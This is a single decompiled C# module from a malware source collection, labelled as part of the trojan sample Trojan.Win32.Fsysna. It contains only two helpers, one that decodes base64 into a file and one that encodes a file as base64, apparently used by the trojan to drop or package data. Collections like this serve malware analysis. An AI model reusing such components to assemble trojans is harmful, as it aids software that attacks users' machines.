MalwareSourceCode/MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.bezr-e553a7902dd2b2c973a97028cc8dc7f1bb82c18b1266abf90d2140ec0b5b3a01/modBase64.cs
2022-08-18 06:28:56 -05:00

36 lines
1.2 KiB
C#

// Decompiled with JetBrains decompiler
// Type: Refx.modBase64
// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 5DD4C44F-C748-4813-B398-D3DE520CF41A
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Fsysna.bezr-e553a7902dd2b2c973a97028cc8dc7f1bb82c18b1266abf90d2140ec0b5b3a01.exe
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.IO;
namespace Refx
{
[StandardModule]
internal sealed class modBase64
{
public static void DecodeData(string InData, string destFile)
{
byte[] array = Convert.FromBase64String(InData);
FileStream fileStream = new FileStream(destFile, FileMode.Create);
fileStream.Write(array, 0, array.Length);
fileStream.Close();
}
public static string EncodeFile(string srcFile)
{
FileStream fileStream = new FileStream(srcFile, FileMode.Open);
byte[] numArray = new byte[checked ((int) fileStream.Length + 1)];
fileStream.Read(numArray, 0, checked ((int) fileStream.Length));
string base64String = Convert.ToBase64String(numArray);
fileStream.Flush();
fileStream.Dispose();
return base64String;
}
}
}